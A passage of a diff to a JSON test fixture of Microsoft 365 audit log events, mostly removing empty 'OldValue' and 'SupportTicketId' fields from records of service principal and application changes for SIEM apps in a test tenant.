- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -11279,31 +10906,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -11484,30 +11096,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -11688,30 +11294,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -11892,30 +11492,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -12096,30 +11690,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -12300,30 +11888,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -12514,8 +12096,7 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -12525,7 +12106,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -12708,8 +12288,7 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -12719,7 +12298,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -12902,8 +12480,7 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -12913,7 +12490,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -13096,8 +12672,7 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "AppId, AvailableToOtherTenants, DisplayName, RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -13107,7 +12682,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -13280,22 +12854,18 @@
},
"ModifiedProperties": {
"Application_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"Application_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"Application_ObjectID": {
- "NewValue": "33cdc459-1335-4d6c-b773-f5eef4df7793",
- "OldValue": ""
+ "NewValue": "33cdc459-1335-4d6c-b773-f5eef4df7793"
}
},
"ObjectId": "asr@testsiem.onmicrosoft.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "User_755e500a-6c03-46b0-b53b-282f23374e3b",
@@ -13490,22 +13060,19 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential",
- "OldValue": ""
+ "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"
},
"ServicePrincipalName": {
"NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]",
"OldValue": "[]"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -13701,22 +13268,19 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential",
- "OldValue": ""
+ "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"
},
"ServicePrincipalName": {
"NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]",
"OldValue": "[]"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -13912,22 +13476,19 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential",
- "OldValue": ""
+ "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"
},
"ServicePrincipalName": {
"NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]",
"OldValue": "[]"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -14123,22 +13684,19 @@
"OldValue": "[]"
},
"Included_Updated_Properties": {
- "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential",
- "OldValue": ""
+ "NewValue": "AccountEnabled, AppPrincipalId, DisplayName, ServicePrincipalName, Credential"
},
"ServicePrincipalName": {
"NewValue": "[\r\n \"7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40\"\r\n]",
"OldValue": "[]"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -14318,7 +13876,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -14489,8 +14046,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "KeyDescription",
- "OldValue": ""
+ "NewValue": "KeyDescription"
},
"KeyDescription": {
"NewValue": "[\r\n \"[KeyIdentifier=6d944a5f-234c-4879-8de4-39f089d8b96b,KeyType=AsymmetricX509Cert,KeyUsage=Verify,DisplayName=E=asr@example.net, CN=testsiem.onmicrosoft.com, OU=SIEM, O=Elastic, L=Barcelona, S=Barce]\"\r\n]",
@@ -14500,7 +14056,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -14671,8 +14226,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "KeyDescription",
- "OldValue": ""
+ "NewValue": "KeyDescription"
},
"KeyDescription": {
"NewValue": "[\r\n \"[KeyIdentifier=6d944a5f-234c-4879-8de4-39f089d8b96b,KeyType=AsymmetricX509Cert,KeyUsage=Verify,DisplayName=E=asr@example.net, CN=testsiem.onmicrosoft.com, OU=SIEM, O=Elastic, L=Barcelona, S=Barce]\"\r\n]",
@@ -14682,7 +14236,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -14853,19 +14406,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -15044,19 +14591,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -15235,19 +14776,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -15426,8 +14961,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -15437,7 +14971,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -15608,8 +15141,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -15619,7 +15151,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -15790,8 +15321,7 @@
},
"ModifiedProperties": {
"Included_Updated_Properties": {
- "NewValue": "RequiredResourceAccess",
- "OldValue": ""
+ "NewValue": "RequiredResourceAccess"
},
"RequiredResourceAccess": {
"NewValue": "[\r\n {\r\n \"ResourceAppId\": \"00000003-0000-0000-c000-000000000000\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"e1fe6dd8-ba31-4d61-89e7-88639da4683d\",\r\n \"DirectAccessGrant\": false,\r\n \"ImpersonationAccessGrants\": [\r\n 20\r\n ]\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n },\r\n {\r\n \"ResourceAppId\": \"c5393580-f805-4401-95e8-94b7a6ef2fc2\",\r\n \"RequiredAppPermissions\": [\r\n {\r\n \"EntitlementId\": \"594c1fb6-4f81-4475-ae41-0c394909246c\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"4807a72c-ad38-4250-94c9-4eabfe26cd55\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n },\r\n {\r\n \"EntitlementId\": \"e2cea78f-e743-4d8f-a16a-75b629a038ae\",\r\n \"DirectAccessGrant\": true,\r\n \"ImpersonationAccessGrants\": []\r\n }\r\n ],\r\n \"EncodingVersion\": 1\r\n }\r\n]",
@@ -15801,7 +15331,6 @@
"ObjectId": "Not Available",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "Application_33cdc459-1335-4d6c-b773-f5eef4df7793",
@@ -15972,19 +15501,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -16163,19 +15686,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -16354,19 +15871,13 @@
"version": "2"
},
"ModifiedProperties": {
- "Included_Updated_Properties": {
- "NewValue": "",
- "OldValue": ""
- },
"TargetId_ServicePrincipalNames": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
}
},
"ObjectId": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_fb91e9f0-9485-4a68-89e9-a164d20ae855",
@@ -16547,30 +16058,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem2",
- "OldValue": ""
+ "NewValue": "siem2"
},
"ServicePrincipal_Name": {
- "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40",
- "OldValue": ""
+ "NewValue": "7d74cd19-0dc4-4e59-a2d7-ba6fdb44ac40"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "fb91e9f0-9485-4a68-89e9-a164d20ae855",
- "OldValue": ""
